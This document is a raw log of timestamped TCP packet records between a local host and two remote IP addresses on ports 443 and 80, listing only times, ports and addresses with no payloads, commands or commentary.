Jan 11, 2025 08:41:42.082760096 CET	49674	443	192.168.2.5	23.1.237.91
Jan 11, 2025 08:41:42.379647970 CET	49673	443	192.168.2.5	23.1.237.91
Jan 11, 2025 08:41:44.018412113 CET	443	49703	23.1.237.91	192.168.2.5
Jan 11, 2025 08:41:44.018507957 CET	49703	443	192.168.2.5	23.1.237.91
Jan 11, 2025 08:41:44.579878092 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:44.585104942 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:44.585546017 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:44.585546017 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:44.590506077 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:44.945995092 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:44.951219082 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:44.951263905 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:44.951292992 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:44.951306105 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:44.951343060 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:44.951353073 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:44.951363087 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:44.951389074 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:44.951416969 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:44.951436043 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:44.951446056 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:44.951473951 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:44.951502085 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:44.951503038 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:44.951534033 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:44.951549053 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:44.951644897 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:44.956449986 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:44.956479073 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:44.956533909 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:44.956617117 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:44.956693888 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:44.956722021 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:44.956753969 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:44.956757069 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:44.956815004 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:45.002861023 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.002971888 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:45.049530029 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.049675941 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:45.096599102 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.096648932 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:45.150830984 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.150895119 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:45.165797949 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.165889025 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:45.176744938 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.176755905 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.176764965 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.176774025 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.176783085 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.176791906 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.176800966 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.176810026 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.176817894 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.176826000 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.176834106 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.176846027 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.176855087 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.176862955 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.176871061 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.176877022 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.176886082 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.176893950 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.476236105 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:45.520140886 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:46.394768000 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:46.441998959 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:48.179501057 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:48.185600996 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.714813948 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.715224028 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.715255976 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.715277910 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.715333939 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:48.715367079 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.715379953 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.715390921 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.715403080 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.715429068 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:48.715429068 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:48.715495110 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.715506077 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.715517998 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.715542078 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:48.715542078 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:48.716176987 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.716275930 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:48.944116116 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.944161892 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.944222927 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:48.944232941 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.944268942 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.944304943 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.944344997 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:48.944547892 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.944581985 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.944618940 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.944622040 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:48.944654942 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.944693089 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.944699049 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:48.944770098 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:48.945472002 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.945506096 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.945559978 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.945569038 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:48.945595980 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.945631027 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.945657969 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:48.946424961 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.946476936 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.946485043 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:48.946511984 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.946546078 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.946558952 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:48.946580887 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.946794987 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:48.947355032 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.947387934 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.947423935 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:48.947448015 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.027465105 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.027513027 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.027601957 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.167443991 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.167470932 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.167490005 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.167541981 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.167542934 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.167565107 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.167586088 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.167615891 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.167615891 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.167644024 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.167659998 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.167705059 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.168174982 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.168191910 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.168216944 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.168231964 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.168236017 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.168248892 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.168265104 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.168281078 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.168292999 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.168292999 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.168345928 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.169059038 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.169083118 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.169097900 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.169111967 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.169127941 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.169142962 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.169157028 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.169157982 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.169197083 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.169689894 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.169743061 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.169758081 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.169836998 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.169867992 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.169883966 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.169898987 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.169914007 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.169945002 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.169945002 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.170730114 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.170746088 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.170762062 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.170785904 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.170799971 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.170799971 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.170799971 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.170815945 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.170831919 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.170881033 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.170881033 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.171550035 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.171601057 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.171617031 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.171659946 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.171683073 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.171699047 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.171714067 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.171761990 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.171761990 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.171765089 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.173307896 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.173331976 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.173346996 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.173362017 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.173377037 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.173392057 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.173394918 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.173394918 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.173485041 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.253667116 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.253686905 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.253743887 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.378442049 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.393688917 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.393718004 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.393728971 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.393778086 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.393789053 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.393800020 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.393812895 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.393821001 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.393821955 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.393934011 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.393950939 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.393963099 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.393974066 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.393985987 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.393995047 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.394063950 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.394071102 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394083977 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394093990 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394136906 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.394160986 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394193888 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394203901 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.394205093 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394232988 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.394295931 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394308090 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394378901 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394390106 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394391060 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.394402027 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394418955 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.394458055 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.394555092 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394570112 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394582033 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394633055 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.394747972 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394759893 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394771099 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394783020 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394814014 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.394814014 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.394860983 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394871950 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394884109 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394893885 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394905090 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.394927979 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.394942999 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.394999981 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395011902 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395055056 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.395143986 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395157099 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395167112 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395215034 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.395298004 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395308971 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395329952 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395340919 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395354986 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.395373106 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.395391941 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395404100 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395452023 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.395488977 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395500898 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395510912 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395520926 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395530939 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395541906 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395551920 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.395551920 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395565987 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.395591021 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.395767927 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395780087 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395790100 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395802021 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395813942 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395823002 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.395836115 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.395836115 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.395884037 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.398786068 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.398794889 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.398804903 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.398817062 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.398828030 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.398838043 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.398849010 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.398860931 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.398865938 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.398880005 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.398890018 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.398911953 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.398917913 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.398926973 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.398998976 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399010897 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399023056 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399033070 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399033070 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.399069071 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.399069071 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.399267912 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399279118 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399290085 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399307013 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.399326086 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399348021 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.399411917 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399421930 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399431944 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399444103 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399497986 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.399497986 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.399610996 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399625063 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399635077 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399671078 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.399671078 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.399681091 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399693012 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399739027 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.399785995 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399832964 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399843931 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.399888039 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.651746988 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.651782036 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.651791096 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.651833057 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.651843071 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.651853085 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.651854038 CET	49705	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:41:49.651861906 CET	80	49705	128.199.113.162	192.168.2.5
Jan 11, 2025 08:41:49.651873112 CET	80	49705	128.199.113.162	192.168.2.5
